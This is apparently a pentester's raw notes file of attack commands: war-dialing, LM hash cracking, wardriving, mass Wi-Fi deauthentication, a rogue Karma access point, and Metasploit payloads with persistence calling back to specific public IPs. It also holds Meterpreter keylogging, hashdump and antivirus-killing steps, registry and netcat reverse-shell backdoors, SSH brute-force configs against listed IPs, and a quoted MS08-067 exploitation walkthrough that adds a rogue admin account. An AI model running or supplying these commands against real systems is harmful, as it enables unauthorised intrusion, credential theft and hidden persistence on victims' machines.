2369· Normally I have 3 max threads and set it for 15-20 sec then with sql get the completed = 0 and run them thought again with 53 sec ringtime.
2370· Let me know if you need any help
2371google warvox for general notes "login etc .. just read all of it please ... use vitelity as the provider )
23723 at a time max ..
2373screen
2374ruby warvox.rb ( run warvox in screen so you can screen -r if you get dropped google screen Manuel ... )
2375use SELF as the caller ID
2376ranges are 15555555555:15555555555
2377or 155555XXX
2378
2379
2380SELECT * FROM DIAL_RESULTS where completed = 'f' and dial_job_id >= '68' and busy = 'f' and ringtime <= '52';
2381* if don.t add the .and ringtime <= '52' I get 2K hits . I would assume this is because it if did not answer it labeled it as not completed instead of labeling it timeout for some reason ?
2382* ~700 ringtime <= '52' with no data file... some high ringtimes but most were instant busy signal but not marked as complete or busy with no data file
2383SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'voice' ;
2384SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'fax' ;
2385SELECT count(*) FROM DIAL_RESULTS where dial_job_id = '110' and line_type = 'modem' ;
2386SELECT * FROM DIAL_RESULTS where dial_job_id = '110' and busy = 't';
2387
2388
2389rcracki_mt /s2/LM/lm_alpha-numeric-symbol32-space#1-7_* -f /usr/local/sbin/hash
2390rcrack /s2/LM/lm_alpha-numeric-symbol32-space#1-7_* -f hash2
2391# example input file 4ee is null or blank
2392# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
2393#notes
2394http://ob-security.info/?tag=hashcat
2395
2396
2397
2398
2399
2400wget -O giskismet-0.02.tar.gz \
2401"http://my-trac.assembla.com/giskismet/browser/tags/giskismet-0.02.tar.gz?format=raw"
2402tar -xzvf giskismet-0.02.tar.gz
2403rm giskismet-0.02.tar.gz
2404
2405We need a few packages first.
2406
2407apt-get update
2408apt-get install libxml-libxml-perl libdbi-perl libdbd-sqlite3-perl -y
2409
2410Do the install
2411
2412
2413cd giskismet-0.02
2414perl Makefile.PL
2415make
2416make install
2417
2418
2419
2420giskismet -x wardrive.netxml
2421giskismet -q "select * from wireless" -o output.kml
2422
2423
2424giskismet -q 'select * from wireless where ESSID like "_%"' wireless.dbl -o ouput2.kml
2425
2426
2427Before we map our dat
2428
2429# following steps are for BT4:
2430# edit the kismet.conf and add the /dev/ttyUSB0 etc .. (find / -name kismet.conf )
2431# load the kernal mod for garmin gps
2432modprobe garmin_gps
2433# plugin the the garmion GPS18 USB puck
2434# if I dont run this command it hangs and kill -9 will not even work so have to reboot
2435mount -t usbfs none /proc/bus/usb/
2436# setup gpsd shoud show changy bits so you know it is trying to lock !
2437dpkg-reconfigure gpsd
2438#start gpsd
2439/etc/init.d/gpsd stop
2440gpsd -N -n -D 2 /dev/ttyUSB0
2441# test
2442ls -al /dev/ttyUSB0
2443xgps
2444#also test by
2445telnet localhost 2947
2446# in kismet you will get nodata untill it has a lock ( this took upto 500seconds in xgps ) you can run XGPS and KISMET at the same time.
2447
2448/etc/init.d/wicd stop
2449/etc/init.d/networking stop
2450killall dhclient dhcpcd
2451
2452
2453
2454Ubuntu Packages - For whatever reason, Ubuntu has stopped updating Kismet in their repositories.
2455
2456To add Kismet as a repository and get updates automatically, add the following to your /etc/apt/sources.lst or to /etc/apt/sources.list.d/kismet.list:
2457
2458 For Ubuntu Oneiric (11.10): deb https://www.kismetwireless.net/code/ oneiric kismet
2459 For Ubuntu Precise (12.04): deb https://www.kismetwireless.net/code/ precise kismet
2460 For Ubnutu Quantal (12.10): deb https://www.kismetwireless.net/code/ quantal kismet
2461
2462
2463 To add the Kismet signing key (signed by my primary key, available above) to your trusted keys:
2464
2465 curl https://www.kismetwireless.net/code/dists/kismet-release.gpg | sudo apt-key add -
2466
2467# ssh logins
2468use auxiliary/scanner/ssh/ssh_login
2469set RHOSTS 10.13.102.2,177
2470set USER_FILE "C:/wordlist/password_small.txt"
2471set RHOSTS_FILE "C:/wordlist/targests.txt"
2472run
2473back
2474use auxiliary/gather/dns_enum
2475set DOMAIN 10.21.1.69
2476run
2477
2478
2479
2480
2481
2482--------------------------------------
2483
2484airbase notes
2485------------
2486mass deauth
2487# broken because you need listen on the right channel before you deauth ... so I need channel and sesstion and ap info all in one line ..
2488# cleanup
2489rm -f clients*.csv
2490# dump clients
2491airodump-ng mon0 -o csv -w clients &
2492# lets sleep on it we need station ids
2493sleep 60
2494killall airodump-ng
2495# make script to mass deauth
2496grep -ia -A 10000 Station clients*.csv |egrep -v "(not|Station)" | sed 's/,/ /g' | awk '{print "aireplay-ng -0 1 -a",$8,"mon0 --ignore-negative-one -c",$1}'|grep : > killclients
2497bash -x killclients
2498-----------------------------------------------
2499gogogo
2500----------------
2501^Croot@bt:/stuff/airbase# cat GO
2502
2503killall avahi-daemon avahi-daemon NetworkManager wpa_supplicant
2504killall dhcpd3 dhclient dhclient3 dhcpcd dhcpd
2505airmon-ng start wlan1
2506sleep 5
2507xterm -e "airbase-ng -c 6 -P mon0 -v" &
2508sleep 5
2509ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 &
2510dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0 &
2511sleep 5
2512cd /pentest/exploits/framework &
2513xterm -e "tcpdump -i at0 -n port 67 and port 68" &
2514sleep 5
2515xterm -e "/pentest/exploits/framework/msfconsole -r /pentest/exploits/framework/karma.rc"
2516------------------
2517# depends for airdcrack
2518
2519apt-get install build-essential -y
2520apt-get install libssl-dev -y
2521apt-get install openssl-dev -y
2522apt-get install partimage gparted lynx links curl nmap iotop screen medusa trafshow wireshark -y --force-yes
2523# more depends set autopwn
2524apt-get install upx-ucl upx-nrv -y
2525apt-get install build-essential ruby libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby libgtk2-ruby libglade2-ruby subversion sqlite3 libsqlite3-ruby irb -y
2526apt-get install ruby libruby rdoc -y
2527apt-get install libyaml-ruby -y
2528apt-get install libzlib-ruby -y
2529apt-get install libopenssl-ruby -y
2530apt-get install libdl-ruby -y
2531apt-get install libreadline-ruby -y
2532apt-get install libiconv-ruby -y
2533apt-get install rubygems -y
2534
2535#apt-get install postgresql postgresql-client postgresql-contrib -y
2536apt-get install pgadmin3 -y
2537apt-get install python-pymssql -y
2538gem1.8 install rails
2539# get set and msf
2540mkdir /pentest/
2541mkdir /pentest/exploits
2542cd /pentest/exploits
2543# check out /install aircrack latest
2544svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
2545cd aircrack-ng
2546make clean
2547make
2548make install
2549airodump-ng-oui-update
2550# create mon0
2551airmon-ng start wlan1
2552# start airbase on mon0 it creates at0 to us with dhcpd ! ( may not need to include channel ... )
2553airbase-ng -c 6 -P mon0 -v
2554# install dhcp3 server
2555apt-get install dhcp3-server -y
2556-----------------------------------------------------------
2557# DHCP CONF
2558cat /etc/dhcp3/dhcpd.conf
2559----------------------------------------------------------------
2560option domain-name-servers 10.0.0.1;
2561default-lease-time 60;
2562max-lease-time 72;
2563ddns-update-style none;
2564authoritative;
2565log-facility local7;
2566subnet 10.0.0.0 netmask 255.255.255.0 {
2567range 10.0.0.100 10.0.0.254;
2568option routers 10.0.0.1;
2569option domain-name-servers 10.0.0.1;
2570}
2571-------------------------------------------------------------------------------
2572# setup at0 interface that airbase created to listen on IP configured for dhcp server
2573ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
2574# start dhcp server
2575dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
2576# cd to framework root ..
2577cd /pentest/exploits/framework
2578wget http://digitaloffense.net/tools/karma.rc -O karma.rc
2579# start msfconsole using the mass client sides basicly karma.rc
2580msfconsole -r karma.rc
2581# start TCP dump looking for DHCP requests from the remote host !
2582tcpdump -i at0 -n port 67 and port 68
2583# mass client side too buggy ... to many iframes ... come back to it ... try SMB_REPLAY attack ...? or limit client side attacks ?
2584# for mass client side attack using etterfilter for targets:
2585apt-get install ettercap -y
2586# run mass client side attack
2587cd /pentest/exploits/fasttrack
2588fast-track.py -i
2589# choose mass client side attack etc and run metasploitloadfile manuely ...
2590# when all is running etc .... start msfconsole with the metasploitloadfile script in the base folder of fasttrack
2591msfconsole -r metasploitloadfile
2592http://digitaloffense.net/tools/karma.rc
2593+-+-+-
2594airmon-ng start wlan0
2595airbase-ng -c 9 -P -C60 -z 2 -W 1 mon0
2596ifconfig wlan0 up 10.0.0.1 netmask 255.255.255.0
2597 dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan0
2598killall dhclient dhcpcd dhclient3
2599airmon-ng start wlan1
2600airbase-ng -c 9 -P -C60 -z 2 -W 1 mon1
2601ifconfig wlan1 up 10.0.0.1 netmask 255.255.255.0
2602dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan1
2603iptables --table nat --append POSTROUTING --out-interface eth1 -j MASQUERADE
2604iptables --append FORWARD --in-interface at0 -j ACCEPT
2605echo 1 > /proc/sys/net/ipv4/ip_forward
2606#airbase-ng -c 9 -P -C60 -z 2 -W 1 mon1
260700:0C:43:41:46:34 -37 13 2 0 6 54e. WPA TKIP PSK rmccurdyDOTcom1
2608
2609airbase-ng -c 6 -a 00:0C:43:41:46:34 -C60 -z 2 -W 1 -v --essid rmccurdyDOTcom1 mon0
2610dhcpd3 -cf /etc/dhcp3/dhcpd.conf -f log wlan1
2611i
2612dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
2613tcpdump -i at0 -n port 67 and port 68
2614 armatage
2615apt-get install -y postgresql
2616apt-get install libpq-dev -y
2617gem install postgres
2618
2619/etc/init.d/postgresql start
2620
2621
2622
2623su -
2624su - postgres
2625
2626
2627createuser msf_user -P
2628createdb --owner=msf_user msf
2629
2630/pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic
2631/pentest/exploits/framework/armitage
2632wifi notes
2633------------------------
2634internet@rmccurdydotcom /cygdrive/c/temp
2635# egrep "BSSID|<manuf>|<max_signal_dbm>|<ssid>" "Kismet-20110929-11-17-47-1.net
2636xml" | tr -d '\n' | awk '{gsub("<BSSID>",",\n"); print}' | sed -e 's/<\/BSSID>
2637/,/g' -e 's/ <manuf>//g' -e 's/<\/manuf>//g' -e 's/ <max_signal_dbm>/,/
2638g' -e 's/<\/max_signal_dbm>/,/'g -e 's/ <ssid>/,/g' -e 's/<\/ssid>//
2639g'> 2.csv
2640internet@rmccurdydotcom /cygdrive/c/temp
2641# load the kernal mod for garmin gps
2642modprobe garmin_gps
2643# plugin the the garmion GPS18 USB puck
2644# if I dont run this command it hangs and kill -9 will not even work so have to reboot
2645mount -t usbfs none /proc/bus/usb/
2646# setup gpsd
2647dpkg-reconfigure gps
2648# test
2649ls -al /dev/ttyUSB0
2650xgps
2651#also test by
2652telnet localhost 2947
2653# in kismet you will get nodata untill it has a lock ( this took upto 500seconds in xgps ) you can run XGPS and KISMET at the same time.
2654
2655------------------------
2656
2657
2658
2659
2660----------------------
2661
2662use exploit/multi/handler
2663set PAYLOAD windows/meterpreter/reverse_tcp
2664set LHOST rmccurdy.com
2665set LPORT 21
2666set ExitOnSession false
2667# set AutoRunScript pathto script you want to autorun after exploit is run
2668set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30
2669
2670exploit -j -z
2671
2672
2673
2674# file_autopwn
2675rm -Rf /tmp/1
2676mkdir /tmp/1
2677rm -Rf ~/.msf3
2678
2679wget -O /tmp/file3.pdf https://www1.nga.mil/Newsroom/PressReleases/Press%20Releases/nga10_02.pdf
2680
2681./msfconsole
2682
2683db_driver sqlite3
2684db_create pentest11
2685setg LHOST 75.139.158.51
2686setg LPORT 21
2687setg SRVPORT 21
2688setg LPORT_WIN32 21
2689
2690setg INFILENAME /tmp/file3.pdf
2691
2692
2693use auxiliary/server/file_autopwn
2694
2695set OUTPATH /tmp/1
2696
2697set URIPATH /msf
2698set SSL true
2699set ExitOnSession false
2700set PAYLOAD windows/meterpreter/reverse_tcp
2701setg PAYLOAD windows/meterpreter/reverse_tcp
2702set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30
2703run
2704
2705
2706
2707# shows all the scripts
2708run [tab]
2709
2710# persistence! broken ...if you use DNS name ..
2711run persistence -r 75.139.158.51 -p 21 -A -X -i 30
2712# new method run persistence -U -i 5 -p 443 -r 192.168.1.71
2713
2714run get_pidgin_creds
2715
2716idletime
2717sysinfo
2718
2719
2720# SYSTEM SHELL ( pick a proc that is run by system )
2721migrate 376
2722shell
2723
2724# session hijack tokens
2725use incognito
2726impersonate_token "NT AUTHORITY\\SYSTEM"
2727
2728# eslcate to system
2729use priv
2730getsystem
2731
2732
2733execute -f cmd.exe -H -c -i -t
2734execute -f cmd.exe -i -t
2735
2736# list top used apps
2737run prefetchtool -x 20
2738
2739# list installed apps
2740run prefetchtool -p
2741
2742run get_local_subnets
2743
2744# find and download files
2745run search_dwld "%USERPROFILE%\\my documents" passwd
2746run search_dwld "%USERPROFILE%\\desktop passwd
2747run search_dwld "%USERPROFILE%\\my documents" office
2748run search_dwld "%USERPROFILE%\\desktop" office
2749
2750# alternate
2751download -r "%USERPROFILE%\\desktop" ~/
2752download -r "%USERPROFILE%\\my documents" ~/
2753
2754# alternate to shell not SYSTEM
2755# execute -f cmd.exe -H -c -i -t
2756
2757
2758# does some run wmic commands etc
2759run winenum
2760
2761
2762
2763# rev shell the hard way
2764run scheduleme -m 1 -u /tmp/nc.exe -o "-e cmd.exe -L -p 8080"
2765
2766# An example of a run of the file to download via tftp of Netcat and then running it as a backdoor.
2767run schtasksabuse-dev -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4
2768run schtasksabuse -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4
2769
2770# vnc / port fwd for linux
2771run vnc
2772
2773# priv esc
2774run kitrap0d
2775
2776
2777
2778run getgui
2779
2780# somewhat broken .. google sdt cleaner NtTerminateProcess !@?!?!
2781run killav
2782
2783run winemun
2784
2785run memdump
2786
2787run screen_unlock
2788
2789upload /tmp/system32.exe C:\\windows\\system32\\
2790reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
2791reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v system32 -d "C:\\windows\\system32\\system32.exe -Ldp 455 -e cmd.exe"
2792reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v system32
2793reg enumkey -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list
2794reg setval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v sys
2795reg queryval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v system32
2796upload /neo/wallpaper1.bmp "C:\\documents and settings\\pentest3\\local settings\\application data\\microsoft\\"
2797
2798
2799
2800
2801getuid
2802ps
2803getpid
2804keyscan_start
2805keyscan_dump
2806migrate 520
2807portfwd add -L 104.4.4 -l 6666 -r 192.168.1.1 -p 80"
2808portfwd add -L 192.168.1.1 -l -r 10.5.5.5 -p 6666
2809
2810shell
2811run myremotefileserver_mserver -h
2812run myremotefileserver_mserver -p 8787
2813
2814run msf_bind
2815run msf_bind -p 1975
2816rev2self
2817getuid
2818
2819getuid
2820
2821
2822
2823enumdesktops
2824grabdesktop
2825
2826run deploymsf -f framework-3.3-dev.exe
2827
2828run hashdump
2829run metsvc
2830run scraper
2831run checkvm
2832run keylogrecorder
2833run netenum -fl -hl localhostlist.txt -d google.com
2834run netenum -rl -r 10.192.0.50-10.192.0.254
2835run netenum -st -d google.com
2836run netenum -ps -r 10.192.0.50-254
2837
2838
2839# Windows Login Brute Force Meterpreter Script
2840run winbf -h
2841
2842# upload a script or executable and run it
2843uploadexec
2844
2845
2846# Using Payload As A Backdoor from a shell
2847
2848REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run /v firewall /t REG_SZ /d "c:\windows\system32\metabkdr.exe" /f
2849at 19:00 /every:M,T,W,Th,F cmd /c start "%USERPROFILE%\metabkdr.exe"
2850SCHTASKS /Create /RU "SYSTEM" /SC MINUTE /MO 45 /TN FIREWALL /TR "%USERPROFILE%\metabkdr.exe" /ED 11/11/2011
2851
2852
2853
2854# kill AV this will not unload it from mem it needs reboot or kill from memory still ... Darkspy, Seem, Icesword GUI can kill the tasks
2855catchme.exe -K "c:\Program Files\Kaspersky\avp.exe"
2856catchme.exe -E "c:\Program Files\Kaspersky\avp.exe"
2857catchme.exe -O "c:\Program Files\Kaspersky\avp.exe" dummy
2858
2859# Nessus log watch
2860watch -n 20 -d 'tail -10 /opt/nessus/var/nessus/logs/nessusd.messages|grep -v "not an error"'
2861
2862Nessus Scanning through a Metasploit Meterpreter Session
2863By
2864Mark Baggett
2865on March 16, 2010 6:44 AM | Permalink
2866
2867By Mark Baggett
2868
2869Scenario: You are doing a penetration test. The client's internet face is locked down pretty well. No services are exposed externally and only HTTP/HTTPS are allowed OUT of the corporate firewall. You email in a carefully crafted email with the meterpreter attacked. An accommodating users is more than happy to click your attachment giving you meterpreter access to their machine. Now what? How about using Nessus to scan all the services on their internal network? Here is a tutorial on how to do it.
2870
2871The Players
2872Attacker 172.16.186.132
2873Victim 172.16.186.126
2874
2875Step 1 - After you have meterpreter access install OpenSSH on the victim's computer. Joff Thyer, packet guru, crazy aussie and all around smart guy did a great job of outlining the install process on his blog. I pretty much just followed his instructions here.
2876
2877Step 2 - After you've installed OpenSSH and setup your account use Meterpreters PORTFWD command to forward a port from the attacker's machine to the SSH listener on the victim's machine. For example:
2878
2879meterpreter> portfwd add -L 172.16.186.132 -l 8000 -r 172.16.186.128 -p 22
2880
2881This command sets up a listener on port 8000 of the attacker's IP (172.16.186.132) and forwards packets to port 22 on the victim's machine (172.16.186.128).
2882
2883
2884Step 3 - SSH into the portfwd port you just created and setup a dynamic port forwarder on your machine. For example:
2885
2886# ssh -D 127.0.0.1:9000 -p 8000 username@172.16.186.132
2887
2888This command sets up a SOCKS4 proxy on port 9000 which is forwarded through the SSH session on the victim.
2889
2890Step 4 - Use PROXYCHAINS to forward your nessusd traffic through the SOCKS4 listener on port 9000. This is as simple as changing the TCP port on the last line of /etc/proxychains.conf from its default of 9050 to port 9000 and launching nessusd through proxychains as follows:
2891
2892# proxychains /usr/sbin/nessusd -D
2893
2894Step 5 - Start the nessus client and do you scan.
2895
2896Preparing for a custom command line OpenSSH Installation in your lab
2897
2898The basic steps to prepare a command line OpenSSH installation for Windows are as follows:
2899
29001. Download the setupssh.exe installation package from http://sshwindows.sourceforge.net/download
2901
29022. Run the GUI installer package on your Windows lab/test machine. I suggest accepting the default program location of C:\Program Files\OpenSSH
2903
29043. Get a full copy of all of the files under the directory C:\Program Files\OpenSSH onto a USB flash drive or other favorite media. Copy recursively with XCOPY and make sure you fully retain the directory structure.
2905
29064. Export the following registry keys using the REG EXPORT command as follows:
2907
2908REG EXPORT .HKLM\SOFTWARE\Cygnus Solutions. 1.REG
2909REG EXPORT .HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd. 2.REG
2910REG EXPORT .HKLM\SYSTEM\ControlSet001\Services\OpenSSHd. 3.REG
2911
29125. Concatenate all of these registry files together into one file.
2913TYPE 1.REG 2.REG 3.REG >OPENSSH.REG
2914
29156. Save this OPENSSH.REG file into your local copy of all of the openssh directory structure.
2916
2917
2918Performing an installation via command shell
2919
2920Now that you have all of this data saved on your USB thumb drive, lets assume that our penetration testing machine is a CentOS Linux operating system with IP address of 192.168.1.37, and that our target is a Windows 2003 SP0 machine with IP address of 192.168.1.40. Our penetration testing Linux machine has our OpenSSH package files mounted under /mnt/PenTestTools/win32/OpenSSH.
2921
2922Our target happens to have the MS08-067 Server Service RPC vulnerability. Below is an example of how we exploit this vulnerability using Metasploit (www.metasploit.com) with the Meterpreter payload, upload our OpenSSH server files, add a new username, perform some minimal configuration and start the OpenSSH service.
2923
2924
2925Exploiting the Vulnerability
2926
2927[root@localhost framework-3.2]# nc -v 192.168.1.40 445
2928Connection to 192.168.1.40 445 port [tcp/microsoft-ds] succeeded!
2929[root@localhost framework-3.2]# ./msfconsole
2930
2931msf > search exploits ms08_067
2932[*] Searching loaded modules for pattern 'ms08_067'...
2933Exploits
2934========
2935Name Description
2936---- -----------
2937windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption
2938msf > use windows/smb/ms08_067_netapi
2939
2940msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
2941PAYLOAD => windows/meterpreter/bind_tcp
2942msf exploit(ms08_067_netapi) > set RHOST 192.168.1.40
2943RHOST => 192.168.1.40
2944msf exploit(ms08_067_netapi) > set TARGET 5
2945TARGET => 5
2946msf exploit(ms08_067_netapi) > show options
2947
2948... truncated output ...
2949Exploit target:
2950
2951Id Name
2952-- ----
29535 Windows 2003 SP0 Universal
2954
2955
2956msf exploit(ms08_067_netapi) > exploit
2957[*] Started bind handler
2958[*] Triggering the vulnerability...
2959[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
2960[*] Sending stage (2650 bytes)
2961[*] Sleeping before handling stage...
2962[*] Uploading DLL (75787 bytes)...
2963[*] Upload completed.
2964[*] Meterpreter session 1 opened (192.168.1.37:45633 -> 192.168.1.40:4444)
2965
2966meterpreter > sysinfo
2967Computer: SYSTEM-HJ28HHGL7N
2968OS : Windows .NET Server (Build 3790, ).
2969
2970
2971Uploading your OpenSSH Files
2972
2973meterpreter > lcd /mnt/PenTestTools/win32/OpenSSH
2974meterpreter > lpwd
2975/mnt/PenTestTools/win32/OpenSSH
2976meterpreter > cd \
2977meterpreter > cd "Program Files"
2978meterpreter > mkdir openssh
2979Creating directory: openssh
2980meterpreter > cd openssh
2981meterpreter > pwd
2982C:\Program Files\openssh
2983meterpreter > upload -r . .
2984[*] uploading : ./uninstall.exe -> .\uninstall.exe
2985[*] uploaded : ./uninstall.exe -> .\uninstall.exe
2986[*] mirroring : ./bin -> .\bin
2987[*] uploading : ./bin/chmod.exe -> .\bin\chmod.exe
2988[*] uploaded : ./bin/chmod.exe -> .\bin\chmod.exe
2989[*] uploading : ./bin/chown.exe -> .\bin\chown.exe
2990[*] uploaded : ./bin/chown.exe -> .\bin\chown.exe
2991[*] uploading : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll
2992[*] uploaded : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll
2993.... lots of output truncated ....
2994
2995meterpreter > execute -f cmd.exe .i
2996Process 848 created.
2997Channel 66 created.
2998
2999
3000
3001Modifying the Registry and Adding Your Own Username
3002
3003Here, we import all of our registry keys, then add our own username making sure to put it into the administrators group. Then we create the passwd and group files that OpenSSH needs for authentication purposes.
3004
3005
3006Microsoft Windows [Version 5.2.3790]
3007(C) Copyright 1985-2003 Microsoft Corp.
3008C:\Program Files\openssh>whoami
3009whoami
3010nt authority\system
3011
3012C:\Program Files\openssh>reg import openssh.reg
3013reg import openssh.reg
3014The operation completed successfully.
3015
3016C:\Program Files\openssh>net user inet_p0wned gameover /add
3017net user inet_p0wned gameover /add
3018The command completed successfully.
3019
3020
3021C:\Program Files\openssh>net localgroup administrators inet_p0wned /add
3022net localgroup administrators inet_p0wned /add
3023The command completed successfully.
3024
3025
3026C:\Program Files\openssh>cd etc
3027cd etc
3028
3029C:\Program Files\openssh\etc>..\bin\mkpasswd -l >passwd
3030..\bin\mkpasswd -l >passwd
3031C:\Program Files\openssh\etc>..\bin\mkgroup -l >group
3032..\bin\mkgroup -l >group
3033
3034C:\Program Files\openssh\etc>sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
3035sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
3036[SC] CreateService SUCCESS
3037
3038
3039
3040Start the OpenSSH Service
3041
3042C:\Program Files\openssh\etc>sc start opensshd
3043sc start opensshd
3044SERVICE_NAME: opensshd
3045TYPE : 10 WIN32_OWN_PROCESS
3046STATE : 2 START_PENDING
3047(NOT_STOPPABLE, NOT_PAUSABLE,
3048IGNORES_SHUTDOWN))
3049WIN32_EXIT_CODE : 0 (0x0)
3050SERVICE_EXIT_CODE : 0 (0x0)
3051CHECKPOINT : 0x0
3052WAIT_HINT : 0x7d0
3053PID : 1916
3054FLAGS :
3055
3056C:\Program Files\openssh\etc>sc query opensshd
3057sc query opensshd
3058SERVICE_NAME: opensshd
3059TYPE : 10 WIN32_OWN_PROCESS
3060STATE : 4 RUNNING
3061(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN))
3062WIN32_EXIT_CODE : 0 (0x0)
3063SERVICE_EXIT_CODE : 0 (0x0)
3064CHECKPOINT : 0x0
3065WAIT_HINT : 0x0
3066
3067C:\Program Files\openssh\etc>netsh firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24
3068
3069The following command was not found: firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24**
3070
3071**Note: adding a port for the firewall is necessary if the firewall exists. If not, then you will get the command not found error message. It is a good idea to restrict the source networks so that you don.t leave a gaping opportunity while testing.
3072
3073C:\Program Files\openssh\etc>exit
3074exit
3075meterpreter > quit
3076
3077[*] Meterpreter session 1 closed.
3078msf exploit(ms08_067_netapi) > quit
3079
3080
3081
3082
3083
3084Now, lets go ahead and SSH into our Windows server to check if things worked!
3085
3086
3087root@localhost:~/framework-3.2]# ssh inet_p0wned@192.168.1.40
3088The authenticity of host '192.168.1.40 (192.168.1.40)' can't be established.
3089RSA key fingerprint is ab:c8:bf:9f:b2:38:32:1d:6f:2b:34:a5:d0:99:dc:49.
3090Are you sure you want to continue connecting (yes/no)? yes
3091Warning: Permanently added '192.168.1.40' (RSA) to the list of known hosts.
3092
3093OpenSSH for Windows. Welcome aboard!
3094
3095inet_p0wned@192.168.1.40's password:
3096Could not chdir to home directory /home/inet_p0wned: No such file or directory
3097Microsoft Windows [Version 5.2.3790]
3098(C) Copyright 1985-2003 Microsoft Corp.
3099C:\Program Files\OpenSSH>
3100C:\Program Files\OpenSSH>whoami
3101system-hj28hhgl7n\inet_p0wned
3102
3103C:\Program Files\OpenSSH>exit
3104Connection to 192.168.1.40 closed.
3105[root@localhost framework-3.2]#
3106
3107
3108Cleaning up
3109
3110To clean up everything when you are finished, you need to delete the OpenSSH service, delete the registry keys and remove all of the relevant files. The following recipe should work reasonably well from a command shell. Remember that you cannot be using OpenSSH when deleting the service! So, you may need to exploit again with shell code before removing it.
3111
3112C:\> SC STOP opensshd
3113C:\> SC DELETE opensshd
3114C:\> REG DELETE .HKLM\SOFTWARE\Cygnus Solutions. /f /va
3115C:\> REG DELETE .HKLM\SYSTEM\ControlSet001\Services\OpenSSHd. /f /va
3116C:\> REG DELETE .HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd. /f /va
3117
3118C:\> CD "\Program Files"
3119C:\Program Files> RMDIR /Q /S opensshd
3120C:\Program Files> NETSH FIREWALL DELETE PORT TCP 22
3121C:\Program Files> NET USER inet_p0wned /DELETE # pivot
3122http://www.offensive-security.com/metasploit-unleashed/Pivoting
3123
3124use exploit/windows/smb/psexec
3125set RHOST 10.1.13.2
3126set SMBUser Administrator
3127set SMBPass 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d
3128set PAYLOAD windows/meterpreter/bind_tcp
3129exploit
3130
3131
3132
3133# make exe
3134./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.6.55 LPORT=443 R | ./msfencode -t exe -c 5 -o /tmp/bob.exe
3135
3136# attacker listen
3137use exploit/multi/handler
3138set PAYLOAD windows/meterpreter/reverse_tcp
3139set LHOST 192.168.6.55
3140set LPORT 443
3141set ExitOnSession false
3142# set AutoRunScript pathto script you want to autorun after exploit is run
3143set AutoRunScript persistence -r 192.168.6.55 -p 443 -A -X -i 30
3144
3145exploit -j -z
3146
3147
3148# armatage
3149apt-get install mysql-server -y
3150/etc/init.d/mysql start
3151
3152mysqladmin -u root -ppassword password toor
3153
3154
3155/pentest/exploits/framework/msfrpcd -f -U msf -P test -t Basic
3156
3157
3158
3159# armatage
3160
3161apt-get install -y postgresql
3162
3163apt-get install libpq-dev -y
3164
3165gem install postgres
3166
3167/etc/init.d/postgresql start
3168
3169
3170su -
3171su - postgres
3172
3173
3174createuser msf_user -P
3175createdb --owner=msf_user msf
3176
3177
3178
3179/pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic
3180/pentest/exploits/framework/armitage
3181
3182
3183
3184
3185net user newuserhere PASSWORDHERE /add
3186net localgroup administrators newuserhere /add
3187
3188
3189"c:\program files\nmap\nmap.exe" -vvv -n -p 1527,3200,3201,3300,3600,8000,8100,8101,40000-40005,50013,50113 -A 192.168.56,14,6,7,8,9.1-255 -oA sap
3190
3191 ----
3192
3193
3194
3195
3196# ssh
3197use auxiliary/scanner/ssh/ssh_login
3198
3199#set RHOSTS_FILE "C:/backup/wordlist/targests.txt"
3200
3201
3202set RHOSTS 4.59.139.135 4.59.139.136 4.59.139.140 63.116.61.25 63.116.61.26 63.116.61.34
3203# set USER_FILE "C:/backup/wordlist/password_large.txt"
3204set USERPASS_FILE "C:/backup/wordlist/root_userpass.txt"
3205set VERBOSE true
3206set STOP_ON_SUCCESS true
3207set BRUTEFORCE_SPEED 5
3208# set this to the number of host
3209set THREADS 6
3210
3211run
3212
3213
3214
3215use auxiliary/gather/dns_enum
3216set DOMAIN domain.com
3217run
3218
3219
3220#smb
3221
3222use auxiliary/scanner/smb/smb_login
3223
